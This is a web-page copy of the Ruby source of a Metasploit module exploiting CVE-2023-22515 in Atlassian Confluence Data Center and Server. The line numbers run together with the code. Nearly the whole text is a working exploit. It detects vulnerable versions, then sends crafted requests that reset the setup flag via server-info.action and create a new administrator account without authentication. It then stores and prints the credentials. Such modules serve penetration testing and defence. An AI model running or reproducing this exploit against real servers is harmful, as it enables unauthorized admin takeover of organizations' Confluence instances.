Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/atlassian_confluence_auth_bypass.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67prepend Msf::Exploit::Remote::AutoCheck8include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Atlassian Confluence Data Center and Server Authentication Bypass via Broken Access Control',15'Description' => %q{16This module exploits a broken access control vulnerability in Atlassian Confluence servers leading to an authentication bypass.17A specially crafted request can be create new admin account without authentication on the target Atlassian server.18},19'Author' => [20'Unknown', # exploited in the wild21'Emir Polat' # metasploit module22],23'References' => [24['CVE', '2023-22515'],25['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],26['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-22515'],27['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis']28],29'DisclosureDate' => '2023-10-04',30'DefaultOptions' => {31'RPORT' => 809032},33'License' => MSF_LICENSE,34'Notes' => {35'Stability' => [CRASH_SAFE],36'Reliability' => [REPEATABLE_SESSION],37'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]38}39)40)4142register_options([43OptString.new('TARGETURI', [true, 'Base path', '/']),44OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),45OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),46OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])47])48end4950def check51res = send_request_cgi(52'method' => 'GET',53'uri' => normalize_uri(target_uri.path, '/login.action')54)55return Exploit::CheckCode::Unknown unless res56return Exploit::CheckCode::Safe unless res.code == 2005758poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text59return Exploit::CheckCode::Safe unless poweredby =~ /Confluence (\d+(\.\d+)*)/6061confluence_version = Rex::Version.new(Regexp.last_match(1))6263vprint_status("Detected Confluence version: #{confluence_version}")6465if confluence_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.3.2')) ||66confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.2')) ||67confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.1'))68return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")69end7071Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")72end7374def run75res = send_request_cgi(76'method' => 'GET',77'uri' => normalize_uri(target_uri.path, '/server-info.action'),78'vars_get' => {79'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'80}81)8283return fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Version vulnerable but setup is already completed') unless res&.code == 302 || res&.code == 2008485print_good('Found server-info.action! Trying to ignore setup.')8687created_user = create_admin_user8889res = send_request_cgi(90'method' => 'POST',91'uri' => normalize_uri(target_uri.path, 'setup/finishsetup.action'),92'headers' => {93'X-Atlassian-Token' => 'no-check'94}95)9697return fail_with(Msf::Exploit::Failure::NoAccess, 'The admin user could not be created. Try a different username.') unless created_user9899print_warning('Admin user was created but setup could not be completed.') unless res&.code == 200100101create_credential({102workspace_id: myworkspace_id,103origin_type: :service,104module_fullname: fullname,105username: datastore['NEW_USERNAME'],106private_type: :password,107private_data: datastore['NEW_PASSWORD'],108service_name: 'Atlassian Confluence',109address: datastore['RHOST'],110port: datastore['RPORT'],111protocol: 'tcp',112status: Metasploit::Model::Login::Status::UNTRIED113})114115print_good("Admin user was created successfully. Credentials: #{datastore['NEW_USERNAME']} - #{datastore['NEW_PASSWORD']}")116print_good("Now you can login as administrator from: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}login.action")117end118119def create_admin_user120res = send_request_cgi(121'method' => 'POST',122'uri' => normalize_uri(target_uri.path, 'setup/setupadministrator.action'),123'headers' => {124'X-Atlassian-Token' => 'no-check'125},126'vars_post' => {127'username' => datastore['NEW_USERNAME'],128'fullName' => 'New Admin',129'email' => datastore['NEW_EMAIL'],130'password' => datastore['NEW_PASSWORD'],131'confirm' => datastore['NEW_PASSWORD'],132'setup-next-button' => 'Next'133}134)135res&.code == 302136end137end138139140